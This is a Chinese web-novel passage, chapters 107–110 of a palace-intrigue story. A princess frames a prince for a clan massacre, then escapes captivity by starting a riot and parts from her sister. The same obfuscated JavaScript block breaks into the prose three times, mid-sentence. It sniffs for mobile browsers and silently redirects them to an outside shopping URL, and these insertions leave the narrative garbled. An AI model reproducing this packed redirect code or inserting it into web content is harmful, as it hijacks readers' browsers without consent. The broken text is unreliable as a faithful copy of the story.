纯懿任由他将那枚金属牌子抢走,宝贝一般护在怀里,然后揉揉他的头,这才站起身来。 “带他入宫吧。”纯懿对孟曹勋颔首,语气仍很温柔,却很是坚定,“要快,一定要快。” 107. 第 107 章 一晚上的辩议拉锯,就连延陵宗隐也感到很疲惫,可值得庆幸的是,除了嘉荣帝姬出乎意料的举动外,剩下事态发展还都在他的掌控之中。 甚至因着嘉荣帝姬扶持小王子继位实在难以服众,之前暗戳戳将延陵宗隐视为竞争对手的人,顿时纷纷调转了矛头,去攻击身为庆人却要掌控虞娄王权的嘉荣帝姬,倒是与延陵宗隐站在了同一阵线上。 就算嘉荣帝姬用太子之死和庆人南归两件事来对抗延陵宗隐一派,可对虞娄重臣们来说,就连王上都死了,王上封的太子死了又与他们有什么关系?还是得先将那小王子踢下去,把那个位子空出来,然后才能有一争的可能。 眼看着嘉荣帝姬一派渐渐退缩,延陵宗隐一派便更是步步紧逼,甚至都不必他亲自开口,自有一干臣属为他冲锋陷阵,也终于让延陵宗隐得以稍微放松些紧绷的精神。 极度的疲惫乏累之后,人总是会不自觉地想要回到温馨的港湾,好好的休息一场。延陵宗隐站在正殿,耳边听着男人们粗着嗓子互相争吵议论的聒噪声音,精神却已经渐渐飘远:他一晚上没回去,不知道她是不是平安,有没有出什么事?更或者,他能不能抱有一些奢望,她有一点担心他? 正在出神,忽然,有两个宫中侍卫一前一后跑来,一人直直奔向王座之后的嘉荣,另一人却是停在了延陵宗隐的面前。 现在的虞娄王宫中,嘉荣帝姬和延陵宗隐各掌一半,延陵宗隐实力占优,但嘉荣帝姬名正言顺,双方相互对峙,谁都不敢轻易动手。眼下两位侍卫为着同一件事而来,一人与延陵宗隐窃窃低语,另一人却在得了嘉荣帝姬的首肯后,大声宣布道:“殿外有人求见,王太后宣。” 生怕延陵宗隐出言阻挠,立刻就有嘉荣一派的大臣出去接应,很快,一个小小的身影就在众人的簇拥中走进大殿。 延陵宗隐看向那个陌生的小男孩,黑眸眯起,一时不知道这小孩儿是什么来历,在旁边沉着脸的国禄金拂却认出了这人,惊讶道:“原哥儿?” 延陵宗隐在脑海中搜索一圈,不记得这个原哥儿是哪家小孩,虽然提起了些警惕,可也并没太将他放在心上。 一个小孩儿而已,还能掀起什么波浪不成? 原哥儿站定,先是规规矩矩对着高坐在王座之上懵懵懂懂的新王行礼,然后又转向众位虞娄重臣,很是有礼地一一见过这些叔伯,最后转向站在旁边的延陵宗隐,脸色陡然一变,眸中便迸发出浓烈的恨意来。 他忽然抬起一根手指,直直指向延陵宗隐,青稚的童声响亮,在大殿中回荡:“延陵宗隐!我要告你陷害重臣,残忍狠辣,杀人灭口!” 延陵宗隐被突然指控,甚至还能露出个冷冷的笑容来:“陷害重臣,杀人灭口?我陷害了谁,又灭口了谁?” “我唐括全族尽皆丧命你手!”唐括原的眼眶已经通红,却强撑着不让眼泪落下,声声凄厉,“你挟私怨报复,干涉刑讯,在先王还没有下诏时,就派死士潜入我家中,将我的阿爷、堂堂虞娄国相杀害!” 众皆哗然。唐括国相的确被人击杀,可当时一番调查,已经排除了延陵宗隐的嫌疑,却没想到唐括原竟然在众目睽睽之下,当众指认延陵宗隐就是真凶。 延陵宗隐嗤笑。那些死士的确不是他的人,他不过是命人放松警戒,故意放他们进去而已,因此毫不心虚,只冷冷质问:“唐括兀术的七条重罪可是当堂审明的,唐括全族早就应该死绝了,竟然还有漏网之鱼?来人,给我将这个余孽拿下!” 忠诚于他的亲卫顿时涌入大殿,将唐括原团团围住。唐括原看着神情犹豫的众位大臣,和杀气腾腾的持刀护卫,忽然想到来这里之前,那个漂亮姐姐对他说的话。 她的笑容温柔,语气轻缓,认真问他:“如果害怕,你可以离开,离开就一定能活下去。你真的想清楚了吗?” 唐括原有些慌张的一颗心渐渐安稳下来。畏惧从他面上褪去,他忽然抬高了声音,厉声大喊:“延陵宗隐!我阿爷对你有恩,我阿姐还是与你自小定下亲事的未婚夫人!他们一个惹你不顺心,你就能对他们下如此狠手!延陵宗隐,你不是人!” 侍卫的大掌已经拉扯上了唐括原的衣领。他想到那个漂亮姐姐的嘱咐,用尽全身力气,喊出最后一句话:“延陵宗隐!以你这般心狠手辣,我们唐括家绝不会是最后一个!我等着看,等着看下一个灭在你手里的是谁!” 此话一出,各位大臣的脸色顿时复杂起来。 唐括原的话忽然提醒了他们:延陵宗隐现在只是一个王子,手里有那么些权势,就行事乖张、手段狠厉,从不将别人放在眼里,连虞娄五大部族之一的唐括都敢下手,若是他真的将手持先王遗诏的嘉荣和小王子赶下王位,整个虞娄,还有谁能牵制他? 恐怕就是将他们所有人绑在一起,都不是他的对手! 那等他登上王位,他们这些声望还不如唐括兀术的人,可还能有活路? 与实力强悍的延陵宗隐比起来,嘉荣和她那个小王子,简直是软弱可欺,要好对付的多。就算她手里的遗诏是假的,她们在,也总有个名头能压制延陵宗隐几分,等处理了延陵宗隐之后,不管是留着她做傀儡,还是将她砍了了事,不都随他们意吗? 还是国禄金拂最先出声,大喝一声:“住手!” 延陵宗隐的侍卫丝毫不理会他,继续去绑唐括原。 国禄金拂只觉果然是这样。延陵宗隐还没当上大王呢,就这么嚣张,丝毫不将他放在眼里,更别提,他们可还是有仇的,国禄木拂的事情他可还没忘。 国禄金拂顿时也不再废话,亲自出马,直接冲进包围圈,将唐括原从他们的围攻中解救出来,护在他面前。 “原哥儿,你说延陵宗隐杀了你阿爷,陷害你全族,你可有证据?”国禄金拂粗声粗气的,声音在整个大殿都听得到。 “我有!”唐括原早就有所准备,将阿爷和父兄交给他的东西一一呈上。 延陵宗隐的臣属顿时心中警惕,不管不顾就要上前去抢。延陵宗隐却竖起手掌,止住了他们的动作。 “让他呈,”延陵宗隐声音冰冷,“我也想看看,他有什么证据。” 当初定罪时,延陵宗隐只是要求从严从重审判,可没有作假陷害他们。眼下,他的思绪早已经从唐括原本身离开,转而去思索,唐括原是怎么出现在这里的,又是谁,帮他逃过了灭族,还帮他走进了王宫。 只凭伪造这些假证据,根本不足以将他定罪,他们手上一定还有别的底牌…… 又会是什么呢? 延陵宗隐两手负于背后,右手食指在左手手背轻叩,一下一下,缓慢而有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733915|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 规律。 唐括原已经又从怀里取出一物,郑重递于国禄金拂面前:“这是从那晚杀阿爷的死士身上取下来的东西!” 延陵宗隐随意朝着那边瞟去,待看清那熟悉的小盒子时,他的手指顿时僵住。 国禄金拂已经迫不及待地大喊起来:“这是延陵宗隐的部曲令牌!只有最精锐的部曲才有,整个虞娄也不出五块!我见过的,我敢确定!” 短暂的寂静之后,众皆哗然。 如果延陵宗隐真的在先王的眼皮子底下派人暗杀了唐括国相,构陷灭了唐括全族,那他实在是太过残忍又可怕。谁能确保自己不是下一个唐括家?不管是为着唇亡齿寒,还是要保全自身,都决不能让他继续得势下去! 嘉荣一直在暗中关注着事况的进展,眼下她敏锐捕捉到了风向变化,适时开口:“二王子,唐括国相兢兢业业,唐括全族渊源深厚,先王可是视之为肱骨的。你怎么能如此胆大妄为,连王命都不遵呢?若是大王还在,不知要有多生气,又要下诏褫夺你的身份了……” 嘉荣声音温柔,每句话的尾音都微微拖长,口音与纯懿极其相似。延陵宗隐似笑非笑抬眸,看着那个坐于帘后影影绰绰的身影,竟然想抚掌大笑。 这两姐妹,真真是配合的好。一个千方百计骗了他的信任,从他书房偷出令牌交给唐括原,当庭来指认构陷他;另一个表面上惊讶谴责,实际却是暗戳戳提醒众位大臣,只有虞娄的王,才能名正言顺的处置他。 国禄金拂果然立刻附和,转身在王座前单膝跪下,竟对着正在啃手的小王子恭敬行了拜见大王的重礼,然后高呼道:“延陵宗隐罪不可赎,还请王上立刻下诏,褫夺他的头衔,收回他的职权,将他关入大牢,等待发落啊!” 一人出声,众人应和。殿内大臣们有的当即响应,有的有些迟疑,最后却还是在一浪高过一浪的请愿声中,伏跪于地。 已经成为了王上的小王子还不知道发生了什么,有些被吓到,一个劲儿地回头去看母亲。嘉荣手心微微出了汗,她的声音很是威严,却带着些难以察觉的激动的颤抖:“既然如此,来人,就褫夺延陵宗隐的全部身份,将他关进大牢,等待众位商议出一个结果,再行发落吧。” 眼看着大好局势直转而下,延陵宗隐一派的臣属都急了。他们有的立刻上前护在延陵宗隐面前,与围拢过来的王宫侍卫对峙,有的则扯着那块关键的令牌不放,高声呼喊那是假的,是有人陷害,要求王上先细细调查。 一片混乱之中,只有延陵宗隐最为冷静。他站姿笔挺,脸上没有一点儿表情,黑眸眯起,视线竟然转向了大殿之外,遥遥眺望着西边的方向。 王宫的西边,有他的王府,王府里,有一个让他又爱又恨的女人。她并没有出现在今日的大殿上,可大殿里的每一处转折,都充斥着她的身影。 延陵宗隐负着的双手从身后缓缓放开,重新垂落于身体两侧,忽然偏头,微微笑了。 “不必再吵了,”他声音淡漠,音量并不太大,却轻易压过了殿内喧嚣。就是在这种情况之下,他的神情仍是冰冷倨傲的,简直像是要去迎接胜利的果实,而一点儿都看不出来全盘败落:“不就是大牢吗,我去就是了。” 阿陌,你想让我去,那我就去。 只是不知道,你又要做些什么呢? 108. 第 108 章 纯懿自然是抱着早已收拾好的东西,忐忑等着宫里传出的消息。 她其实对于这一击是否能够成功并无十足的把握——毕竟延陵宗隐实力太过于强悍,就算她凭着在书房与他一起议政时练出来的对他的了解,成功找到并偷出了那块令牌,可不管那块令牌如何千真万确,只要延陵宗隐坚持不认,他完全有翻盘的能力。 不论是逆局翻盘,甚至是当场就反了朝廷,延陵宗隐的胜算都很大。而一旦他得以脱身…… 完的就是她了。她又一次背叛了延陵宗隐,想必这一次,他再不会放过她。 纯懿又在心里,细细将这一次成功或是失败的两种可能都预演一次。 如果成功,延陵宗隐暂时被宫中控制,嘉荣帝姬会命人将消息传给一直在宫外守着的孟曹勋,孟曹勋则会即刻出发,去上京城门处联系早早已经隐藏在那里的蒙古和南庆的使臣,通知他们计划正式开始。接下来,已化整为零、秘密开拔到两国边境的蒙古和南庆联军会同时起兵,从南北两个方向攻入虞娄,最后在上京会师合围。 而在通知两国使臣之后,孟曹勋会赶来府中,与贤宁一起配合接应她。没有延陵宗隐坐镇,就算他留下的护卫如何精锐,也不会是早有准备的贤宁他们的对手。她可以在消息传出前离开上京,等延陵宗隐发现,她应该已经快到燕京了。 而若是计划失败…… 纯懿不由苦笑。按照原定计划,孟曹勋和贤宁还是会来救她,但她其实并不准备走了。被她如此陷害,延陵宗隐必定怒火滔天,而以他锱铢必报的性子,若是没有人能让他撒气,他一定会全力追杀他们,不死不休。 她打算用自己的这条命,来为贤宁他们争取一些时间。 纯懿正想的有些出神,忽然,外面传来一阵忙乱的脚步声,飞快朝着她这里靠近。 纯懿陡然抬眸,一双眼睛牢牢盯着房门处,手指不由微微紧握,耳边能清晰听到自己的心跳声。 扑通,扑通。 孟曹勋整个人伏在马背上,因着全力驭马,心脏都快要从胸膛里跳出来。他的白发在眼前飘扬,从大街上策马而过,激起路人的一阵指责和叫骂,他却恍然不觉,只用尽全力挥舞着马鞭,只希望自己能快一些,再快一些。 转过最后一个街角,前面就是延陵宗隐的王府。他喝停了马,从马上一跃而下,甚至都来不及将缰绳好好拴在旁边,撩起袍子就奔去。 贤宁早已带着一批精锐兵士守在路边。他们宝珠衣铺的那个点被毁了,里面十来位暗探葬身火海,兄弟们早已是满腔悲痛,做梦都想杀进延陵宗隐府中,为牺牲的兄弟们报仇。 眼下见到了孟曹勋,众人立刻纷纷围拢过来,一张张年轻的脸上全是压抑的悲愤,眼睛里有怒火在燃烧。 对上众人灼灼的视线,孟曹勋却没先说个结果,而是喘着粗气,问道:“府里如何?” “很安静,除了一刻钟前有一队人说重铸的金子成色不好,需要回炉重烧,抬走了个装着财礼的箱子外,再没有旁人出入。”贤宁一句话说明了情况,急忙追问,“宫里如何?” 听闻府中一切正常,孟曹勋这才微微松了口气。他按着隐隐作痛的胸膛,不住点头,颤颤巍巍指向那高大的门楣:“延陵宗隐已被关入大牢,帝姬还在府里,我们带她走。” 众人脸上甚至都来不及露出笑容来,下一刻便紧握了手中长剑,激动到双手都在颤抖。贤宁用一根布条将长剑牢牢绑在手上,只沉声道一个“走”字,便一马当先冲了出去,带着众人朝着延陵宗隐王府大门而去。 可能是从没想过竟有人敢持剑冲入延陵宗隐府上,府上护卫们虽然身手不错,也一直负隅战斗到最后一刻,可很快还是在陆家军的拼命冲杀下溃败,四散逃去。贤宁也不与他们纠缠,按着纯懿交给她的府内地图,目标明确,直接朝着她居住的小院冲去。 纯懿的院子位于府内后部,前面的骚乱似乎还没有传到这里,整个院子安静地出奇。贤宁踹门而入,却不知怎地,下意识觉得不太对劲,脚下步子就不由慢了下来。 还没等她想出个所以然来,旁边一位陆家军兵士已经飞跑着越过她,直直冲着正屋而去,一把推开了房门。紧接着,巨大的爆裂声传来,一股带着灼烫热浪的气流席卷而来,顿时将靠近门口的几人掀飞了开去。 待轰鸣声消去,他们再抬起头看去时,整扇门都已经塌了半边,露出一个黑洞洞的门洞来。 贤宁心下就一沉。她用力挥开眼前飞舞的火星、木屑和灰尘,不顾周围陆家军亲卫的阻拦,大步跨过已经开始燃烧的门口,冲入了屋内。 屋内也被刚刚的爆炸波及,现在已经是一片狼藉,四处都着了火,黑烟弥漫,看不清情况。贤宁毫不在意周围舔舐着她的火苗,在屋内努力寻找,没有一个人或是人形物体。 贤宁不由松了一口气,说不清楚心中是庆幸还是惊慌,正准备转身离开时,忽然,脚下似乎是踢到了什么东西。 她垂下头,看到一个小小的包裹,孤独又安静地躺在床边的角落。而它的主人,已经不知所踪。 纯懿也不知道自己现在在哪里,她甚至不知道现在是什么时间,又到了哪一天。那日在房里等着孟曹勋时,推门而入的,却是一个看着有些眼熟的彪形大汉。 他也不顾纯懿的惊讶,上来就将她的双手反扭于身后,用一根粗粝的麻绳牢牢捆缚起来,然后又如法炮制,将她的双腿双脚都绑在一起,最后还在她嘴里塞了一块散发着异味的巾帕,这才命人将她抬了起来,放进一个空箱子里,板着脸合上了箱盖。 箱子很快离了地,摇摇晃晃地开始移动,而就在这般晃动之中,纯懿的精神渐渐涣散,再醒来时,人就已经在这座小小的院子里了。 这次她是真的失了自由。小小的院子被明里暗里的层层围住,带头守着她的,就是那晚那个魁梧汉子,也是纯懿唯一看着脸熟的人。她想了许久,这才隐约想起来,当年还在汴京城时,守在她与陆双昂的帝姬府外的,似乎就是这个叫做失木错的汉子。 而这次,他似乎是吸取了上次她在他眼皮子底下送走了陆双昂的教训。院子里一切物件都齐备而精致,甚至熏炉中袅袅燃着的香料,都是她在延陵宗隐府上时最喜欢用的那一种。除此之外,她若是提出需要什么,失木错也会很快就亲自送来,只是面对她时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738369|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若非必要,他绝不会开口。 不管纯懿如何直接询问,或是暗里套话,他都只有一句:“郎主离开时吩咐我们,若是他出了事,就立刻将你藏起来,不许与任何人联络,等他吩咐。” 纯懿第无数次追问:“那他出了什么事?” 失木错就又闭上嘴,木头一样杵在那里,一句话也不说。 不知道今夕何夕,不知道身在何处,周围是层层的监视,甚至连同看守她的人在内,整个府都与外面断了联络,纯懿这次是真的无计可施了。没人来与她说话,她也没什么事情可做,便在失木错灼灼的盯视下,每日在院子里沿着院墙遛弯,以此来打发时间。 而每晚在灭灯之后,等到夜半时分,纯懿都会偷偷从床上起身,摸黑走到书桌边,从桌面与桌腿的缝隙中摸出一张小小的纸条,就着朦胧的月光,在上面仔细写字。 今日遛弯时,她在东边院墙下,听到外面传来了遥遥的马蹄声,说明这个院子的东边,隔着一段距离,应该是有一条路的。 而能走马的路,在上京城里,一共也就只有那几条。 纯懿一边回想着在延陵宗隐那里看到过的上京地图,一边结合着这几日在各个方向的院墙处隐约听到的各种声响,小心谨慎地在小纸条上勾勾画画,排除了几个地方,又在其他几个位置上画了个圈。 如果她没有猜错,这个小院子的位置,大概率就是在这几处了。可具体在哪一处,还需要更多的信息。 现在最难得到的就是信息,纯懿不由有些泄气。延陵宗隐这段时间都没有出现在这里,更是让她心中惴惴,不知他是因着被囚禁而无法前来,还是在忙着绞杀陆家军而顾不上前来。 正蹙眉思索着,外面忽然传来一阵窸窣之声。纯懿心下一动,小心将那纸条藏回原处,然后将双脚从鞋子里抽出来,踮着脚尖走到窗户之下,蹲下身来,侧耳细听着外面的声音。 是两个男人在对话。他们的声音压得极低,又夹杂在呼啸的夜风中,断断续续的:“……联军,他们……更乱了……逃……” “郎主……” 纯懿赤脚踩在地上,青砖冰凉,几乎要将她冻僵,可她却咬牙忍着一声不出,连呼吸都小心屏住,只全神贯注分辨着模糊的话语。 “……不管,蒙庆联军……” 纯懿一颗心顿时狂跳起来。 蒙庆联军!他们说的是蒙庆联军!这个词她绝没听错,就是蒙庆联军! 他们成功了!陆双昂和巴图格勒带着联军起兵了! 纯懿右手紧紧捂着双唇,用尽全身力气才能压制住惊喜的尖叫。如果是这样,延陵宗隐一定已经在嘉荣掌控之下,一直悬在她头顶上不知何时会落下来的那柄利剑,终于被移开了! 外面已经没有了声音。纯懿悄无声息回到床上,脑中纷纷扰扰,思绪极其活跃,激动到根本无法入眠。 贤宁他们没能如约与她汇合,一定还在上京四处搜寻。她得找个机会逃出去,或者只要能避开失木错他们的监视,将她的消息传出这院子,贤宁一定能找到她。 纯懿浑身充满了昂扬斗志,却没想到,这个机会竟来得这么快。 109. 第 109 章 变乱是从小院的东边外墙处开始的。向来安静的街道上,忽然有许多人在慌乱地奔跑,惊叫声,催促声,还有被惊起的犬吠鸡鸣声交织在一起,清晰传入正在遛弯的纯懿和尽职尽责盯着她的失木错耳中。 “蒙庆联军来了!蒙庆联军马上就要包围上京了!快逃啊!” 纯懿的脚步就停在了那里。她看向失木错,却对上了失木错也十分讶异的目光。 失木错的确是很震惊。因为延陵宗隐的叮嘱,他们与郎主或是二太子府中彻底断了联系,蒙古和南庆组成联军同时起兵的事情,还是守在府外的兄弟听到街头百姓们私下议论,这才知道的。 普通百姓的消息能有多灵通,说不定那个时候,联军早已起兵。而虞娄因着先王驾崩的事情,近来乱得很,最能打的几个人都在上京争抢王位,联军快速推进,逼近上京,也不是不可能的事情。 包括纯懿在内,院内众人便都将目光投向失木错。 在短暂的惊慌之后,失木错很快恢复了镇定。他一方面示意几个人出门去查看情况,另一方面安排剩余亲卫在院中摆出一个迎敌的阵型,他自己则亲自押着纯懿向后退去,让纯懿背靠着角落处的高大院墙站好,自己护在纯懿前面,提防地紧盯着前方。 纯懿顺从地站在他身后,面上一副惊慌的神情,脑中却在飞快思索着逃脱的办法。 延陵宗隐留在这里的果然都是精锐,看他们这错落有序的战斗阵型,纯懿就明白,想要冲过他们的“保护”逃出院子,几乎是不可能的事情。 得破坏掉他们的战阵……或者是将他们引出去,或者是将混乱引进来…… 院内一片安静,院外的吵闹就更加喧嚣。显然有越来越多的上京百姓被惊动,有的还在踌躇不定,有的却已经开始捡几件值钱的东西就向外冲。 “虎子,带上你的老娘快走吧!我听说,蒙古人可是会屠城的!” 另一个声音却很是迟疑:“我家只有这一个祖上传下来的铺面,卖些小玩意儿讨生活,若是抛下这铺子走了,我们怎么活下去啊……” “啥时候了,你还惦记着你家这破房子?”那个人明显恨铁不成钢,语气分外急促,“人活着,哪怕沿路乞讨,最不济去偷去抢,干啥不能活?” 这汉子的话显然很得民心,顿时激起外面不少人的一阵附和。那汉子也不与他多说,匆忙道:“我不管你了,我是要走了。你爱怎么地怎么地吧!” 大部分人显然都是如这汉子这般想的,甚至有不少人都等不到主人离开,趁着现在城内混乱,直接便冲入别家府中,胡乱抢劫起来。顿时,叱骂声,怒喝声,哭喊声,追打声,交替响起,不绝于耳。 上京城,已经乱了。 纯懿冷冷扯起唇角。当初汴京城破,城内暴民大肆劫掠的情景还历历在目,却没想到,人性如此,同样的情况换到虞娄上京,也没比汴京好上多少。 等等…… 纯懿忽然捏紧了手指。 她站在失木错身后,悄悄抬头,小心观察着院墙,大概估计了一下它的高度,又暗自掂量了下手腕上的重量,心中就更有把握了一些。 她默默后退了一些,在衣袖的遮掩下,从右手腕上褪下一个金镯子来。 这镯子是延陵宗隐提前备在小院里的。纯懿开始还对此颇有些无语:他将她关在这里,却还准备了精致的钗环首饰、胭脂水粉,难不成是打算让她每日研究装扮,给她找些事情做吗? 而自从前几天听闻了蒙庆联军起兵的消息,纯懿就对延陵宗隐的这个安排暗暗庆幸起来。她每日都妆戴着尽可能多的金银首饰,就是为了有机会随时可以逃走。 就比如现在。 失木错还护在她身前,一双虎目警惕盯着门口,防止愈发失控的暴民们闯进来。纯懿站在他背后,尽量放轻动作,将那个金镯子抛越过院墙,扔了出去。 这般金灿灿的东西,自然是极其吸引注意力的。外面很快就传来了一阵喧闹,似乎是不少人正在争抢着这金子。 纯懿心下大定,又如法炮制,摘下左手腕上的金镯子,毫不心疼地再次丢了出去。 钗环,耳坠,精致的配饰,嵌着宝石的项链,随着她丢出去的东西越来越多,外面的喧哗声也越来越大。终于有人发现了这从天而降的宝物的来源,一人便高声喊道:“这里!这里面全是金银财宝!冲进去,宝贝就全是咱们的了!有种的跟我走啊!” 激起阵阵响应。很快,大门处就传来了撞门的声音,延陵宗隐的亲卫们全力阻挡着,可外面的人似乎因着这般顽强的抵抗,更加认定里面是一座宝库,愈发疯狂地开始撞门,到了最后,整个门板都开始摇晃起来,尘土簌簌落下,砸了下面的亲卫们一头一脸。 面对着已经抢红了眼的暴民,就连成建制的正规军都会被冲散,更何况是区区几十名亲卫。很快,随着整齐的口号,艰难坚持了许久的大门终于轰然倒塌,迎接他们的却不是金银财宝,而是雪亮锋利的大刀。 失木错眼睛也红了,他怒吼一声:“砍了他们!” 混乱一起,就是再如何全力看守,也总是容易被混乱奔跑的重重人影所影响,更何况还是有心躲避他的保护的纯懿。失木错刚刚怒喝一声,砍了一个冲到他面前的短衣汉子,再一回头,刚才还在他身后的纯懿已经不见了踪影。 纯懿正在街上全力奔跑。她的头发已经散开,一颗心快要跳出胸膛,就连肋骨下都开始抽痛,可她却一刻都不敢停。宝珠衣铺被烧了,贤宁他们也已经从红白食楼撤出,她不知道该去哪里寻他们,思索一会儿,干脆直接朝着王宫的方向跑去。 她要去找嘉荣。她们约好了要一起走,去与贤宁汇合,然后一起冲出上京,回家去。 若是平时,纯懿这般在街头狂奔,早就引起了守城兵士的注意,可是现在,并没有人顾得上在意她。整个上京城已经陷入一片混乱,街面上全是四处奔走的人,路边不少府邸甚至大门敞开着,隐约能窥到里面的高宅深院,和正在肆意抢劫作恶的人。 纯懿一边飞跑,一边仔细辨认着方向。待到转过一个街角,两旁街景陡然熟悉,纯懿却有些迟疑地停下了脚步。 前面,是延陵宗隐的府邸。 不知道是不是因为延陵宗隐已然失势,他很久没能回府,他的府邸也就失去了震慑,只是一座普通的宅子而已。现在,府上气派的黑漆大门竟然大敞着,不时有人进进出出,却显然不是王府亲卫臣属,而是胆子更大一些、手段更残忍一些的暴民。 或者,里面也有终于见到他落魄,抓紧时机浑水摸鱼,想要在他身上狠狠踩上一脚的同僚们。 就算延陵宗隐一贯不太追求奢华生活,可这么多年下来,他府中的珍奇宝物,还是不少的。最夺人眼球的,却是他院子中摆着的一个又一个的大箱子,有人将那箱子撬开,里面装得满满当当,竟然全都是金子! 还都是重新锻造,纯度极高的新金! 黄澄澄、金灿灿的金子一出现,顿时引起了轰动。众人也顾不得什么礼仪什么形象了,纷纷伸手去捞去抢,抢到激烈处,也不管旁边的人是谁,相互大打出手,各种精心设计的吉祥喜庆形状的金稞子就洒落一地,滚落进尘泥里,然后引起更新一轮的哄抢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742755|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着之前秩序森然的二太子府如今沦落到这般地步,纯懿说不清自己心中是一种什么感受,她甚至都摆不出任何表情,只默然眺望着那熟悉的大门和院子。僵着脸看了一会儿里面的闹剧,纯懿强迫自己眨眨酸涩的双眼,抬起脚,重新朝着王宫的方向跑去。 就在她跑过王府大门时,正巧有两个膀大腰圆的汉子在争抢一块金子。两人谁都不肯放手,打又打不出个胜负,干脆一人一半。 纯懿清澈的眼眸中便清楚映出,那双喜字被从中劈成两半,再不得圆满。 没能圆满的事情却远比纯懿预想中的多。她站在金碧辉煌的殿中,快要哭出来:“嘉荣姐姐!我们说好要一起走的!” 嘉荣穿着华丽的王太后礼服,面容依然是温婉的,睫毛轻轻颤抖着,神情与当年汴京被围、她们三人驾车出逃却被延陵宗隐堵在路上时,恍然一致。 可这一次,嘉荣再没有哭湿眼睫。她的脸上笑容平淡,并不是因极度的恐惧而麻木,反而是无所畏惧之后的淡然:“我委身仇敌,生下孽子,已无颜返回故国,其实早就该死了,苦苦撑着活到现在,就是为了这个时候。见到虞娄这般大乱,我死也能畅快了。” 纯懿拉着嘉荣的袖子,五指将她的衣服捏出道道褶皱,拼命想说服她:“这不是你的错!嘉荣姐姐,你不要……” “纯懿。” 嘉荣却打断了她的话。她的语调平静柔和,纤细的手抚上纯懿脸颊,在她面上轻轻摩挲,温暖却坚定:“你赶快走,跟着安武顿从东侧门出宫,贤宁在那里等你。” 纯懿不想放弃:“嘉荣姐姐,至少让我把盼儿带走……” 听到小儿子的名字,嘉荣脸上露出了一个温柔的笑容,缓缓摇头:“他走不了了。” 纯懿呆呆看着嘉荣清秀的侧脸,不能明白她这是什么意思。嘉荣却垂头,看向自己的双手,修长的十指张开,微微颤抖:“那个孩子并非我所愿,我憎恶非常,所以刚生下来,我就把他掐死了。” 纯懿直觉耳边“嗡嗡”作响,失声道:“那王上……” 嘉荣抬眸,微笑着道:“假的。” 纯懿沉默。如果说之前,她还抱着说服嘉荣改变主意、甚至是强行带她一起走的想法的话,现在知道了那个小王子竟然是个假的,而真的盼儿已经长眠在这里,纯懿就知道,嘉荣是真的不会走了。 她眼眶就渐渐通红,却执拗盯着嘉荣,紧咬唇瓣防止自己哭出声来。 嘉荣已经转身,从旁边取了一个包裹过来。她将这个小包裹递给旁边的孟曹勋,温声道:“孟大人,这些年辛苦您了。区区薄物不足为礼,还请大人好生护送妹妹返回江南。” 孟曹勋也是喉间酸涩。他也没推辞,双手接过那包裹,深深行礼:“嘉荣帝姬保重。” 嘉荣笑着颔首,将纯懿拥入怀中,轻声道:“妹妹回去仍为帝姬,千万珍重。姊姊回家无期,就埋骨在这里吧。” 纯懿深深嗅着嘉荣身上熟悉的味道,终于还是狠了心,从嘉荣怀中离开。 她后退两步,将双手举过眉间,微一触额,然后又十指交扣置于小腹,对着嘉荣膝盖微弯,深深躬身,是一个完美的大庆宫廷礼节:“纯懿就此道别,姐姐保重。” 嘉荣一怔,随后愉悦笑开。过往从她眼前飞快掠过,嘉荣眼中全是回忆带来的感慨,对着纯懿盈盈还礼。 两个娘子相对而拜,动作标准,姿态优雅,仿佛不是身处混乱的异族王宫,而是仍在繁华的故国宫城。 那个时候,岁月静好,现世安稳。 嘉荣笑着道:“回去吧,纯懿。” 110. 第 110 章 纯懿与孟曹勋的动作很快,从宫中出来后,只几刻钟,东城门就遥遥可见了。 两人顿时精神大振,正要驭马奔去,忽然,路旁一个挂满了灯笼的架子朝着她们倒了下来。纯懿和孟曹勋急忙勒马闪躲,那灯架就重重砸在地上,正正好拦在他们面前,阻住了他们前进的路。 马儿有些受惊,在原地不安地徘徊,蹬着前蹄。纯懿与孟曹勋对视一眼,都从对方眼中看到了浓重的不安。 纯懿已经从孟曹勋口中知晓,蒙庆联军的确已经起兵,正在向着上京推进,可其实离上京还有很远的距离,并没有到上京城外。今日城内的混乱,完全就是贤宁为了救出她,孤注一掷放出的假消息,又在她的刻意推动下,酿成乱局。 既然是假的,就会被拆穿。纯懿有些恋恋不舍地看了前方遥遥可见的东城门一眼,沉声道:“绕路。” 两人拨转马头,正要换路前行,从大路两旁的小巷中,突然涌出了成群的护卫。他们穿着统一的玄色铠甲,手中俱都握着闪亮的大刀,目光灼灼盯着他们,摆出一副迎敌的姿势,将纯懿与孟曹勋团团围在中间。 